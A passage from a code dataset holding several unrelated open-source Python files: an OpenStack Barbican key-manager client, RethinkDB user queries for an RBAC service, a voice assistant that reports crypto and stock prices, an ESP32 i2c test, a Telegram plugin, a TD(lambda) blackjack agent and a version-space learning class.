_get_barbican_endpoint(self, auth, sess):\n service_parameters = {'service_type': 'key-manager',\n 'service_name': 'barbican',\n 'interface': 'internal'}\n return auth.get_endpoint(sess, **service_parameters)\n\n def _create_base_url(self, auth, sess, endpoint):\n discovery = auth.get_discovery(sess, url=endpoint)\n raw_data = discovery.raw_version_data()\n if len(raw_data) == 0:\n msg = _(\n \"Could not find discovery information for %s\") % endpoint\n LOG.error(msg)\n raise exception.KeyManagerError(reason=msg)\n latest_version = raw_data[-1]\n api_version = latest_version.get('id')\n base_url = \"%s%s/\" % (endpoint, api_version)\n return base_url\n\n def store(self, context, secret, expiration=None):\n \"\"\"Stores a secret with the key manager.\n\n :param context: contains information of the user and the environment\n for the request\n :param secret: a secret object with unencrypted payload.\n Known as \"secret\" to the barbicanclient api\n :param expiration: the expiration time of the secret in ISO 8601\n format\n :returns: the UUID of the stored object\n :raises KeyManagerError: if object store fails\n \"\"\"\n barbican_client = self._get_barbican_client(context)\n\n try:\n secret = barbican_client.secrets.create(\n payload=secret,\n secret_type='opaque')\n secret.expiration = expiration\n secret_ref = secret.store()\n return self._retrieve_secret_uuid(secret_ref)\n except (barbican_exception.HTTPAuthError,\n barbican_exception.HTTPClientError,\n barbican_exception.HTTPServerError) as e:\n LOG.error(\"Error storing object: %s\", e)\n raise exception.KeyManagerError(reason=e)\n\n def _create_secret_ref(self, object_id):\n \"\"\"Creates the URL required for accessing a secret.\n\n :param object_id: the UUID of the key to copy\n :return: the URL of the requested secret\n \"\"\"\n if not object_id:\n msg = _(\"Key ID is None\")\n raise exception.KeyManagerError(reason=msg)\n return \"%ssecrets/%s\" % (self._base_url, object_id)\n\n def _retrieve_secret_uuid(self, secret_ref):\n \"\"\"Retrieves the UUID of the secret from the secret_ref.\n\n :param secret_ref: the href of the secret\n :return: the UUID of the secret\n \"\"\"\n\n # The secret_ref is assumed to be of a form similar to\n # http://host:9311/v1/secrets/d152fa13-2b41-42ca-a934-6c21566c0f40\n # with the UUID at the end. This command retrieves everything\n # after the last '/', which is the UUID.\n return secret_ref.rpartition('/')[2]\n\n def _is_secret_not_found_error(self, error):\n if (isinstance(error, barbican_exception.HTTPClientError) and\n error.status_code == 404):\n return True\n else:\n return False\n\n def get(self, context, managed_object_id, metadata_only=False):\n \"\"\"Retrieves the specified managed object.\n\n :param context: contains information of the user and the environment\n for the request\n :param managed_object_id: the UUID of the object to retrieve\n :param metadata_only: whether secret data should be included\n :return: ManagedObject representation of the managed object\n :raises KeyManagerError: if object retrieval fails\n :raises ManagedObjectNotFoundError: if object not found\n \"\"\"\n barbican_client = self._get_barbican_client(context)\n\n try:\n secret_ref = self._create_secret_ref(managed_object_id)\n return barbican_client.secrets.get(secret_ref)\n except (barbican_exception.HTTPAuthError,\n barbican_exception.HTTPClientError,\n barbican_exception.HTTPServerError) as e:\n LOG.error(\"Error retrieving object: %s\", e)\n if self._is_secret_not_found_error(e):\n raise exception.ManagedObjectNotFoundError(\n uuid=managed_object_id)\n else:\n raise exception.KeyManagerError(reason=e)\n\n def delete(self, context, managed_object_id):\n \"\"\"Deletes the specified managed object.\n\n :param context: contains information of the user and the environment\n for the request\n :param managed_object_id: the UUID of the object to delete\n :raises KeyManagerError: if object deletion fails\n :raises ManagedObjectNotFoundError: if the object could not be found\n \"\"\"\n barbican_client = self._get_barbican_client(context)\n\n try:\n secret_ref = self._create_secret_ref(managed_object_id)\n barbican_client.secrets.delete(secret_ref)\n except (barbican_exception.HTTPAuthError,\n barbican_exception.HTTPClientError,\n barbican_exception.HTTPServerError) as e:\n LOG.error(\"Error deleting object: %s\", e)\n if self._is_secret_not_found_error(e):\n pass\n else:\n raise exception.KeyManagerError(reason=e)\n","repo_name":"openstack/tacker","sub_path":"tacker/keymgr/barbican_key_manager.py","file_name":"barbican_key_manager.py","file_ext":"py","file_size_in_byte":10972,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"3"} +{"seq_id":"38042351953","text":"import rethinkdb as r\n\nfrom rbac.common.logs import get_default_logger\nfrom rbac.server.api.errors import ApiNotFound\nfrom rbac.server.db.proposals_query import fetch_proposal_ids_by_opener\nfrom rbac.server.db.relationships_query import fetch_relationships_by_id\nfrom rbac.server.db.roles_query import fetch_expired_roles\n\nLOGGER = get_default_logger(__name__)\n\n\nasync def fetch_user_resource(conn, next_id):\n \"\"\"Database query to get data on an individual user.\"\"\"\n resource = (\n await r.table(\"users\")\n .get_all(next_id, index=\"next_id\")\n .merge(\n {\n \"id\": r.row[\"next_id\"],\n \"name\": r.row[\"name\"],\n \"email\": r.row[\"email\"],\n \"subordinates\": fetch_user_ids_by_manager(next_id),\n \"ownerOf\": {\n \"tasks\": fetch_relationships_by_id(\n \"task_owners\", next_id, \"task_id\"\n ),\n \"roles\": fetch_relationships_by_id(\n \"role_owners\", next_id, \"role_id\"\n ),\n \"packs\": fetch_relationships_by_id(\n \"pack_owners\", next_id, \"pack_id\"\n ),\n },\n \"administratorOf\": {\n \"tasks\": fetch_relationships_by_id(\n \"task_admins\", next_id, \"task_id\"\n ),\n \"roles\": fetch_relationships_by_id(\n \"role_admins\", next_id, \"role_id\"\n ),\n },\n \"memberOf\": fetch_relationships_by_id(\n \"role_members\", next_id, \"role_id\"\n ),\n \"expired\": fetch_expired_roles(next_id),\n \"proposals\": fetch_proposal_ids_by_opener(next_id),\n }\n )\n .map(\n lambda user: (user[\"manager_id\"] != \"\").branch(\n user.merge({\"manager\": user[\"manager_id\"]}), user\n )\n )\n .map(\n lambda user: (user[\"metadata\"] == \"\").branch(user.without(\"metadata\"), user)\n )\n .without(\"next_id\", \"manager_id\", \"start_block_num\", \"end_block_num\")\n .coerce_to(\"array\")\n .run(conn)\n )\n try:\n return resource[0]\n except IndexError:\n raise ApiNotFound(\"Not Found: No user with the id {} exists\".format(next_id))\n\n\nasync def delete_user_resource(conn, next_id):\n \"\"\"Database query to delete an individual user.\"\"\"\n resource = (\n await r.table(\"users\")\n .filter({\"next_id\": next_id})\n .delete(return_changes=True)\n .run(conn)\n )\n try:\n return resource\n except IndexError:\n raise ApiNotFound(\"Not Found: No user with the id {} exists\".format(next_id))\n\n\nasync def fetch_user_resource_summary(conn, next_id):\n \"\"\"Database query to get summary data on an individual user.\"\"\"\n resource = (\n await r.table(\"users\")\n .filter(lambda user: (user[\"next_id\"] == next_id))\n .merge({\"id\": r.row[\"next_id\"], \"name\": r.row[\"name\"], \"email\": r.row[\"email\"]})\n .without(\"next_id\", \"manager_id\", \"start_block_num\", \"end_block_num\")\n .coerce_to(\"array\")\n .run(conn)\n )\n try:\n return resource[0]\n except IndexError:\n raise ApiNotFound(\"Not Found: No user with the id {} exists\".format(next_id))\n\n\nasync def fetch_all_user_resources(conn, start, limit):\n \"\"\"Database query to compile general data on all user's in database.\"\"\"\n return (\n await r.table(\"users\")\n .order_by(index=\"name\")\n .slice(start, start + limit)\n .map(\n lambda user: user.merge(\n {\n \"id\": user[\"next_id\"],\n \"name\": user[\"name\"],\n \"email\": user[\"email\"],\n \"ownerOf\": {\n \"tasks\": fetch_relationships_by_id(\n \"task_owners\", user[\"next_id\"], \"task_id\"\n ),\n \"roles\": fetch_relationships_by_id(\n \"role_owners\", user[\"next_id\"], \"role_id\"\n ),\n \"packs\": fetch_relationships_by_id(\n \"pack_owners\", user[\"next_id\"], \"pack_id\"\n ),\n },\n \"memberOf\": fetch_relationships_by_id(\n \"role_members\", user[\"next_id\"], \"role_id\"\n ),\n \"proposals\": fetch_proposal_ids_by_opener(user[\"next_id\"]),\n }\n )\n )\n .map(\n lambda user: (user[\"manager_id\"] != \"\").branch(\n user.merge({\"manager\": user[\"manager_id\"]}), user\n )\n )\n .map(\n lambda user: (user[\"metadata\"] == \"\").branch(user.without(\"metadata\"), user)\n )\n .without(\"next_id\", \"manager_id\", \"start_block_num\", \"end_block_num\")\n .coerce_to(\"array\")\n .run(conn)\n )\n\n\ndef fetch_user_ids_by_manager(next_id):\n \"\"\"Fetch all users that have the same manager.\"\"\"\n direct_reports = []\n if next_id != \"\":\n direct_reports = (\n r.table(\"users\")\n .filter(lambda user: (next_id == user[\"manager_id\"]))\n .get_field(\"next_id\")\n .coerce_to(\"array\")\n )\n return direct_reports\n\n\nasync def fetch_peers(conn, next_id):\n \"\"\"Fetch a user's peers.\"\"\"\n user_object = await (\n r.db(\"rbac\")\n .table(\"users\")\n .filter({\"next_id\": next_id})\n .coerce_to(\"array\")\n .run(conn)\n )\n if user_object:\n if \"manager_id\" in user_object[0]:\n if user_object[0][\"manager_id\"]:\n manager_id = user_object[0][\"manager_id\"]\n peers = await (\n r.db(\"rbac\")\n .table(\"users\")\n .filter({\"manager_id\": manager_id})\n .coerce_to(\"array\")\n .run(conn)\n )\n peer_list = []\n for peer in peers:\n if peer[\"next_id\"] != next_id:\n peer_list.append(peer[\"next_id\"])\n return peer_list\n return []\n\n\nasync def fetch_manager_chain(conn, next_id):\n \"\"\"Get a user's manager chain up to 5 manager's high.\"\"\"\n manager_chain = []\n for _ in range(5):\n user_object = await (\n r.db(\"rbac\")\n .table(\"users\")\n .filter({\"next_id\": next_id})\n .coerce_to(\"array\")\n .run(conn)\n )\n if user_object:\n manager_id = user_object[0][\"manager_id\"]\n if manager_id != \"\":\n manager_object = await (\n r.db(\"rbac\")\n .table(\"users\")\n .filter(\n (r.row[\"remote_id\"] == manager_id)\n | (r.row[\"next_id\"] == manager_id)\n )\n .coerce_to(\"array\")\n .run(conn)\n )\n if manager_object:\n if manager_object[0]:\n manager_chain.append(manager_object[0][\"next_id\"])\n next_id = manager_object[0][\"next_id\"]\n else:\n break\n else:\n break\n else:\n break\n return manager_chain\n\n\nasync def fetch_user_relationships(conn, next_id):\n \"\"\"Database Query to get an individual's org connections.\"\"\"\n remote_id = (\n await r.table(\"users\")\n .get_all(next_id, index=\"next_id\")\n .pluck(\"remote_id\")\n .coerce_to(\"array\")\n .run(conn)\n )\n resource = (\n await r.table(\"users\")\n .get_all(next_id, index=\"next_id\")\n .merge(\n {\n \"id\": r.row[\"next_id\"],\n \"direct_reports\": fetch_user_ids_by_manager(remote_id[0][\"remote_id\"]),\n }\n )\n .without(\n \"next_id\",\n \"start_block_num\",\n \"end_block_num\",\n \"metadata\",\n \"email\",\n \"key\",\n \"manager_id\",\n \"name\",\n \"remote_id\",\n \"username\",\n )\n .coerce_to(\"array\")\n .run(conn)\n )\n peers = await fetch_peers(conn, next_id)\n managers = await fetch_manager_chain(conn, next_id)\n resource[0][\"peers\"] = peers\n resource[0][\"managers\"] = managers\n\n try:\n return resource[0]\n except IndexError:\n raise ApiNotFound(\"Not Found: No user with the id {} exists\".format(next_id))\n\n\nasync def create_user_map_entry(conn, data):\n \"\"\"Insert a created user into the user_mapping table.\"\"\"\n resource = await r.table(\"user_mapping\").insert(data).run(conn)\n return resource\n\n\nasync def delete_user_mapping_by_next_id(conn, next_id):\n \"\"\"Delete user_mapping from user_mapping table.\"\"\"\n return await r.table(\"user_mapping\").filter({\"next_id\": next_id}).delete().run(conn)\n\n\nasync def delete_metadata_by_next_id(conn, next_id):\n \"\"\"Delete pack owner using next_id\"\"\"\n return await r.table(\"metadata\").filter({\"next_id\": next_id}).delete().run(conn)\n\n\nasync def search_users(conn, search_query, paging):\n \"\"\"Compiling all search fields for users into one query.\"\"\"\n resource = (\n await users_search_name(search_query)\n .union(users_search_email(search_query))\n .distinct()\n .pluck(\"name\", \"email\", \"next_id\")\n .order_by(\"name\")\n .map(\n lambda doc: doc.merge(\n {\n \"id\": doc[\"next_id\"],\n \"memberOf\": fetch_relationships_by_id(\n \"role_members\", doc[\"next_id\"], \"role_id\"\n ),\n }\n ).without(\"next_id\")\n )\n .slice(paging[0], paging[1])\n .coerce_to(\"array\")\n .run(conn)\n )\n\n return resource\n\n\nasync def search_users_count(conn, search_query):\n \"\"\"Get a count of all search fields for users in one query.\"\"\"\n resource = (\n await users_search_name(search_query)\n .union(users_search_email(search_query))\n .distinct()\n .count()\n .run(conn)\n )\n\n return resource\n\n\ndef users_search_name(search_query):\n \"\"\"Search for users based a string int the name field.\"\"\"\n resource = (\n r.table(\"users\")\n .filter(lambda doc: (doc[\"name\"].match(\"(?i)\" + search_query[\"search_input\"])))\n .order_by(\"name\")\n .coerce_to(\"array\")\n )\n\n return resource\n\n\ndef users_search_email(search_query):\n \"\"\"Search for users based a string in the description field.\"\"\"\n resource = (\n r.table(\"users\")\n .filter(lambda doc: (doc[\"email\"].match(\"(?i)\" + search_query[\"search_input\"])))\n .order_by(\"name\")\n .coerce_to(\"array\")\n )\n\n return resource\n\n\nasync def fetch_username_match_count(conn, username):\n \"\"\"Database query to fetch the count of usernames that match the given username.\"\"\"\n resource = (\n await r.table(\"users\")\n .filter(lambda doc: (doc[\"username\"].match(\"(?i)^\" + username + \"$\")))\n .count()\n .run(conn)\n )\n return resource\n\n\nasync def users_search_duplicate(conn, username):\n \"\"\"Check if a given username is taken based on a string in the name field.\"\"\"\n resource = (\n await r.table(\"users\")\n .filter(lambda doc: (doc[\"username\"].match(\"(?i)^\" + username + \"$\")))\n .order_by(\"username\")\n .coerce_to(\"array\")\n .run(conn)\n )\n return resource\n\n\nasync def update_user_password(conn, next_id, hashed_password, salt):\n \"\"\"Update a user's password by next_id\n Args:\n conn:\n obj: database connection object.\n next_id:\n str: Id of a user to have password changed\n password:\n str: hashed string of password\n \"\"\"\n resource = (\n await r.table(\"auth\")\n .filter({\"next_id\": next_id})\n .update({\"hashed_password\": hashed_password, \"salt\": salt})\n .coerce_to(\"array\")\n .run(conn)\n )\n return resource\n\n\nasync def get_next_admins(conn):\n \"\"\" Gets a list of all NextAdmins members.\n\n Args:\n conn: (RethinkDB connection object) Used to make queries\n in RethinkDB.\n Returns:\n result: (list) List contains next_ids of all NextAdmins role\n members.\n \"\"\"\n next_admins_role_id = (\n await r.table(\"roles\")\n .filter({\"name\": \"NextAdmins\"})\n .coerce_to(\"array\")\n .get_field(\"role_id\")\n .run(conn)\n )\n return (\n await r.table(\"role_members\")\n .filter({\"role_id\": next_admins_role_id[0]})\n .get_field(\"related_id\")\n .coerce_to(\"array\")\n .run(conn)\n )\n","repo_name":"hyperledger-archives/sawtooth-next-directory","sub_path":"rbac/server/db/users_query.py","file_name":"users_query.py","file_ext":"py","file_size_in_byte":12853,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"3"} +{"seq_id":"10163372092","text":"#===============**************sadegh_assistant****************===================\r\n\r\n#----------------+++imports+++----------\r\n\r\n#in terminal: import: 1.SpeechRecognition 2.gtts 3.playsound 4.pyaudio\r\nfrom _socket import timeout\r\nfrom contextlib import redirect_stderr\r\n\r\nimport speech_recognition as sr\r\nfrom gtts import gTTS\r\nimport playsound\r\nimport os\r\nimport requests\r\nimport yfinance as yf\r\n\r\n# ==================== Section_1:take sound and replace to text==================\r\n\r\ncrypto_api='https://api.coingecko.com/api/v3/simple/price?ids=bitcoin%2Clitecoin%2Csolana&vs_currencies=usd'\r\ndef elii_listen():\r\n r=sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Say something!\")\r\n audio=r.listen(source,phrase_time_limit=4)\r\n text=''\r\n try:\r\n text=r.recognize_google(audio)\r\n except sr.RequestError as re:\r\n print(re)\r\n except sr.UnknownValueError as uve:\r\n print(uve)\r\n except sr.WaitTimeoutError as wte:\r\n print(wte)\r\n text=text.lower()\r\n return text\r\n\r\n#=====================speack==========================\r\ndef elii_talk(text):\r\n file_name='audio_data.mp3'\r\n tts=gTTS(text=text,lang='en')\r\n tts.save(file_name)\r\n playsound.playsound(file_name)\r\n os.remove(file_name)\r\n\r\n#==================-----reply-----=====================\r\ndef sadegh_reply(text):\r\n if 'what' in text and 'name' in text:\r\n elii_talk('my name is sadegh and I am your persional assistant')\r\n\r\n elif 'stop' in text :\r\n elii_talk('It was pleasure to help you, I wish you a wonderful day')\r\n elif 'why' in text and 'exist' in text:\r\n elii_talk('i was created to work for you')\r\n elif 'when' in text and 'sleep' in text:\r\n elii_talk('i never sleap.')\r\n elif 'you' in text and 'stupid' in text:\r\n elii_talk('no, I am not stupid.')\r\n elif 'favorite' in text or'favourite' in text and 'move' in text:\r\n elii_talk('my favorite movie is Titanic.')\r\n\r\n# -------------------- crypto_API -----------------------------------------------\r\n elif 'bitcoin' in text:\r\n response = requests.get(crypto_api)\r\n crypto_json = response.json()\r\n elii_talk('the current price for Bitcoin is' + str(crypto_json['bitcoin']['usd'])+'us dollars')\r\n\r\n elif 'litecoin' in text:\r\n response = requests.get(crypto_api)\r\n crypto_json = response.json()\r\n elii_talk('the current price for litecoin is' + str(crypto_json['litecoin']['usd'])+'us dollars')\r\n\r\n elif 'solana' in text:\r\n response = requests.get(crypto_api)\r\n crypto_json = response.json()\r\n elii_talk('the current price for solana is' + str(crypto_json['solana']['usd'])+'us dollars')\r\n # -------------------- crypto_API -----------------------------------------------\r\n\r\n elif 'apple' in text:\r\n apple = yf.Ticker('AAPL')\r\n print(apple.info['regularMarketPrice'])\r\n elii_talk('at this moment you can purchase one apple share for ' + str(apple.info['regularMarketPrice'])+'US Dollars')\r\n\r\n elif 'facebook' in text:\r\n facebook = yf.Ticker('FB')\r\n print(facebook.info['regularMarketPrice'])\r\n elii_talk('at this moment you can purchase one facebook share for ' + str(facebook.info['regularMarketPrice'])+'US Dollars')\r\n\r\n elif 'tesla' in text:\r\n tesla = yf.Ticker('TSLA')\r\n print(tesla.info['regularMarketPrice'])\r\n elii_talk('at this moment you can purchase one tesla share for ' + str(tesla.info['regularMarketPrice'])+'US Dollars')\r\n\r\n\r\n else:\r\n elii_talk('Excuse me, I did not get that. Can ou please repeat it?')\r\n\r\n\r\n#==================-----assistant-----=====================\r\ndef excute_assistant():\r\n elii_talk('Hi, I am heare to support you. Can you please tell me your name?')\r\n listen_name=elii_listen()\r\n elii_talk('Hi '+listen_name+'what can I do for you?')\r\n while True:\r\n listen_sadegh=elii_listen()\r\n print(listen_sadegh)\r\n sadegh_reply(listen_sadegh)\r\n\r\n\r\n\r\n if 'stop' in listen_sadegh:\r\n break\r\n\r\n\r\nexcute_assistant()\r\n\r\n#==================-----API-----=====================\r\n\r\ncrypto_api='https://api.coingecko.com/api/v3/simple/price?ids=bitcoin%2Clitecoin%2Csolana&vs_currencies=usd'\r\nresponse=requests.get(crypto_api)\r\ncrypto_json=response.json()\r\n","repo_name":"sadeghProgrammer/personal_assistant","sub_path":"main_file.py","file_name":"main_file.py","file_ext":"py","file_size_in_byte":4376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25544359006","text":"# Find Non-repeating characters of a String\n\ndef NonRepeatingCharc(str):\n d={}\n result=\"\"\n for i in str:\n if i!=\" \":\n if i in d:\n d[i]+=1\n else:\n d[i]=1\n\n for i in d:\n if d[i]==1:\n print(i,end=\" \")\n\n\nif __name__==\"__main__\":\n string=input(\"Enter string:\")\n\n NonRepeatingCharc(string)\n","repo_name":"Ashvinibodade/TCS_code_questions","sub_path":"Problem81.py","file_name":"Problem81.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28084977925","text":"import pytest\nfrom pytest_embedded_idf import IdfDut\n\nEXPECT_TIMEOUT = 20\n\n\n@pytest.mark.esp32\n@pytest.mark.ccs811\ndef test_i2ctools_example(dut: IdfDut) -> None:\n dut.expect_exact('i2c-tools>', timeout=EXPECT_TIMEOUT)\n # Get i2c address\n dut.write('i2cdetect')\n dut.expect_exact('5b', timeout=EXPECT_TIMEOUT)\n # Get chip ID\n dut.write('i2cget -c 0x5b -r 0x20 -l 1')\n dut.expect_exact('0x81', timeout=EXPECT_TIMEOUT)\n # Reset sensor\n dut.write('i2cset -c 0x5b -r 0xFF 0x11 0xE5 0x72 0x8A')\n dut.expect_exact('OK', timeout=EXPECT_TIMEOUT)\n # Get status\n dut.write('i2cget -c 0x5b -r 0x00 -l 1')\n dut.expect_exact('0x10', timeout=EXPECT_TIMEOUT)\n # Change work mode\n dut.write('i2cset -c 0x5b -r 0xF4')\n dut.expect_exact('OK', timeout=EXPECT_TIMEOUT)\n dut.write('i2cset -c 0x5b -r 0x01 0x10')\n dut.expect_exact('OK', timeout=EXPECT_TIMEOUT)\n # Get new status\n dut.write('i2cget -c 0x5b -r 0x00 -l 1')\n dut.expect_exact(['0x98', '0x90'], timeout=EXPECT_TIMEOUT)\n","repo_name":"espressif/esp-idf","sub_path":"examples/peripherals/i2c/i2c_tools/pytest_examples_i2c_tools.py","file_name":"pytest_examples_i2c_tools.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":11541,"dataset":"github-code","pt":"3"} +{"seq_id":"22006035312","text":"import asyncio\n\nfrom message import Message\n\n\n@asyncio.coroutine\ndef run(message, matches, chat_id, step):\n return Message(chat_id).set_text(\"The Championship is started.\")\n\n\nplugin = {\n \"name\": \"start\",\n \"run\": run,\n \"patterns\": [\"^آغاز$\"]\n}\n","repo_name":"siyanew/Gomaneshgar","sub_path":"plugins/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"27413155894","text":"'''\r\nCURRENT ISSUES\r\n1. Append function is directly changing the state rather than a copy of the state\r\n2. Error when checking input: expected dense_3_input to have 3 dimensions,\r\n but got array with shape (5, 1)\r\n https://stackoverflow.com/questions/44747343/keras-input-explanation-input-shape-units-batch-size-dim-etc\r\n\r\n'''\r\n\r\nimport gym\r\nfrom gym_blackjack import *\r\nfrom keras.models import Sequential, load_model\r\nfrom keras.layers import Dense, Activation\r\nimport numpy as np\r\n\r\nenv = gym.make('blackjack-v0')\r\nenv.reset()\r\n\r\nclass TD_Lambda_Search():\r\n\r\n\tdef __init__(self, env, gamma=0.9, lamb=0.9, alpha=0.9, epsilon=0.1, critic=None):\r\n\r\n\t\timport copy\r\n\r\n\t\tself.env = env\r\n\t\tself.clone = copy.deepcopy(env)\r\n\t\tself.gamma = gamma\r\n\t\tself.lamb = lamb\r\n\t\tself.alpha = alpha\r\n\t\tself.epsilon = epsilon\r\n\r\n\t\tself.action_space = [i for i in range(env.action_space.n)]\r\n\r\n\t\t# The Critic, with goal of estimating value function\r\n\t\tif critic is not None:\r\n\t\t\tself.critic = load_model(critic) # Load the critic passed to the class\r\n\t\telse:\r\n\t\t\tself.critic = Sequential() # Create the critic as a Tensorflow model\r\n\t\t\tself.critic.add(Dense(9, activation='relu', input_dim=5))\r\n\t\t\tself.critic.add(Dense(1, activation='sigmoid', bias_initializer='ones'))\r\n\t\t\tself.critic.compile(optimizer='SGD', loss='MSE', metrics=['accuracy'])\r\n\r\n\tdef get_input(self, state, action):\r\n\t\t# Prepare the state and action for input to the Critic model\r\n\t\timport copy\r\n\t\ttemp = np.append(copy.deepcopy(state), action).reshape(1,5)\r\n\t\treturn temp\r\n\r\n\tdef get_traces(self, replays, state=None):\r\n\t\t# Get the eligibility traces of each action in the replay buffer\r\n\t\t# Eligibility increases if the state has already been visited\r\n\t\tfor row in reversed(range(len(replays))):\r\n\t\t\treplays[row][4] = (replays[row][4] * self.gamma * self.lamb) \r\n\t\t\tif replays[row][0] == state:\r\n\t\t\t\treplays[row][4] += 1\r\n\r\n\t\treturn replays\r\n\r\n\tdef get_td_error(self, replay, this_value=None):\r\n\r\n\t\t_, next_value = self.greedy(replay[3]) # Choose the best hypothetical action\r\n\t\tif not this_value:\r\n\t\t\tthis_value = self.critic.predict(self.get_input(replay[0], replay[1])) # Get value of action taken\r\n\r\n\t\tdelta = self.alpha * (replay[2] + (self.gamma * next_value) - this_value)\r\n\r\n\t\treturn delta\r\n\r\n\tdef greedy(self, state, epsilon_greedy=False):\r\n\t\t# Takes the action with the highest expected return and its expected return\r\n\t\t# If epsilon_greedy=True, then (self.epsilon) percent of the time, take a random action\r\n\r\n\t\taction_dict = {1: self.critic.predict(self.get_input(state, 1)),\r\n\t\t\t\t\t 0: self.critic.predict(self.get_input(state, 0))}\r\n\r\n\t\timport random\r\n\t\tn = random.uniform(0, 1)\r\n\t\tif n > self.epsilon or not epsilon_greedy:\r\n\t\t\taction_to_take = max(action_dict, key=lambda x: action_dict[x])\r\n\t\telse:\r\n\t\t\taction_to_take = random.choice(list(action_dict.keys()))\r\n\r\n\t\treturn action_to_take, action_dict[action_to_take]\r\n\r\n\tdef one_simulation(self, max_steps):\r\n\t\t# Runs one planning simulation using a perfect model\r\n\t\t# (Clone of real environment + game rules)\r\n\t\timport copy\r\n\t\tself.clone = copy.deepcopy(self.env)\r\n\t\tself.clone.shuffle()\r\n\r\n\t\treplays = []\r\n\r\n\t\tfor step in range(max_steps):\r\n\t\t\tprint('one_simulation running', step)\r\n\t\t\t# Determine, and take, the appropriate step\r\n\t\t\tstate = copy.deepcopy(self.clone.state)\r\n\t\t\taction, _ = self.greedy(self.clone.state, epsilon_greedy=True)\r\n\r\n\t\t\tobs, reward, done, info = self.clone.step(action)\r\n\r\n\t\t\t# Add the replay to the replay buffer, including a trace of 0 to start\r\n\t\t\t# get_traces() will turn the 0 to a 1 immediately\r\n\t\t\treplays.append([state, action, reward, obs, 0])\r\n\t\t\treplays = self.get_traces(replays, state)\r\n\r\n\t\t\tfor row in replays:\r\n\t\t\t\tcurrent_value = self.critic.predict(self.get_input(row[0], row[1]))\r\n\t\t\t\tupdated_value = current_value + (self.get_td_error(row, current_value) * row[4])\r\n\t\t\t\tprint(\"Values:\", current_value, updated_value)\r\n\t\t\t\tself.critic.fit(self.get_input(row[0], row[1]), updated_value)\r\n\r\n\t\t\tif done:\r\n\t\t\t\tbreak\r\n\r\n\tdef tree_search(self, k=10, max_steps=10):\r\n\r\n\t\tfor i in range(k):\r\n\t\t\tself.one_simulation(max_steps)\r\n\r\n\tdef one_game(self, k=10, max_steps=10):\r\n\t\t\r\n\t\tobs = self.env.state\r\n\t\tdone = False\r\n\t\twhile not done:\r\n\t\t\t# Train the model based on simulated games from this point foward\r\n\t\t\tself.tree_search(k, max_steps)\t\r\n\t\t\t# Take the action the model thinks is greediest\r\n\t\t\taction, _ = self.greedy(obs)\r\n\t\t\tprint(obs, action)\r\n\t\t\tobs, reward, done, info = self.env.step(action)\r\n\r\n\t\tprint(f'Game over. Win/Lose = {reward}')\r\n\t\tprint(f'Final Board: {obs}')\r\n\t\tself.env.reset()\r\n\r\nif __name__ == \"__main__\":\r\n\r\n\tagent = TD_Lambda_Search(env)\r\n\r\n\tfor i in range(1_000):\r\n\t\tagent.one_game()\r\n\r\n\tagent.critic.save(\"test_td_lambda_bias_ones\")","repo_name":"dshirle7/capstone2","sub_path":"td_lambda_search.py","file_name":"td_lambda_search.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15582500920","text":"from typing import Iterable\nfrom itertools import product\n\nclass Taxonomy:\n\n def __init__(self, name: str, sub_groups: list[\"Taxonomy\"]):\n self.name = name\n self.sub_groups = sub_groups\n self.parent_groups: list[Taxonomy] = []\n for node in self.sub_groups:\n node.parent_groups.append(self)\n\n def __gt__(self, other: \"Taxonomy\"):\n parents = other.parent_groups\n while parents != []:\n if self in parents:\n return True\n parents = list(set(\n new_parent for parent in parents for new_parent in parent.parent_groups\n ))\n else:\n return False\n\n def __ge__(self, other: \"Taxonomy\"):\n return self is other or self > other\n\n def __repr__(self):\n return self.name\n\n def show(self):\n for sub_group in self.sub_groups:\n print(f\"{self.name}->{sub_group.name}\")\n sub_group.show()\n\nclass Hypothesis:\n\n def __init__(self, constraints: list[Taxonomy]):\n self.constraints = constraints\n\n def cover(self, instance: list[Taxonomy]):\n assert len(self.constraints) == len(instance), f\"Unequal length of constraints and attributes: {self}, {instance}\"\n return all(constraint >= attribute for constraint, attribute in zip(self.constraints, instance))\n\n def __ge__(self, other: \"Hypothesis\"):\n return all(a >= b for a, b in zip(self.constraints, other.constraints))\n\n def __gt__(self, other: \"Hypothesis\"):\n return self >= other and not other >= self\n\n def __hash__(self):\n return hash(tuple(self.constraints))\n\n def __eq__(self, other: object):\n return isinstance(other, Hypothesis) and self.constraints == other.constraints\n\n def minimal_specializations(self, negative_example: list[Taxonomy], S: \"BoundarySet\"):\n for i, (constraint, attribute) in enumerate(zip(self.constraints, negative_example)):\n more_specific_constraints = constraint.sub_groups\n end_loop = False\n while more_specific_constraints != []:\n for more_specific_constraint in more_specific_constraints:\n if not more_specific_constraint >= attribute:\n end_loop = True\n new_constraints = self.constraints.copy()\n new_constraints[i] = more_specific_constraint\n new_hypothesis = Hypothesis(new_constraints)\n if not new_hypothesis.cover(negative_example) and any(new_hypothesis > s for s in S.members):\n yield new_hypothesis\n if end_loop:\n break\n more_specific_constraints = list(set(\n new_sub_group for sub_group in more_specific_constraints for new_sub_group in sub_group.sub_groups\n ))\n\n def minimal_generalizations(self, positive_example: list[Taxonomy], G: \"BoundarySet\"):\n possible_new_constraints: list[list[Taxonomy]] = [[] for _ in range(len(self.constraints))]\n for i, (constraint, attribute) in enumerate(zip(self.constraints, positive_example)):\n if constraint >= attribute:\n possible_new_constraints[i].append(constraint)\n continue\n more_general_constraints = constraint.parent_groups\n end_loop = False\n while more_general_constraints != []:\n for more_general_constraint in more_general_constraints:\n if more_general_constraint >= attribute:\n end_loop = True\n possible_new_constraints[i].append(more_general_constraint)\n if end_loop:\n break\n more_general_constraints: list[Taxonomy] = list(set(\n new_parent for parent in more_general_constraints for new_parent in parent.parent_groups\n ))\n for minimal_generalization in product(*possible_new_constraints):\n new_hypothesis = Hypothesis(list(minimal_generalization))\n if 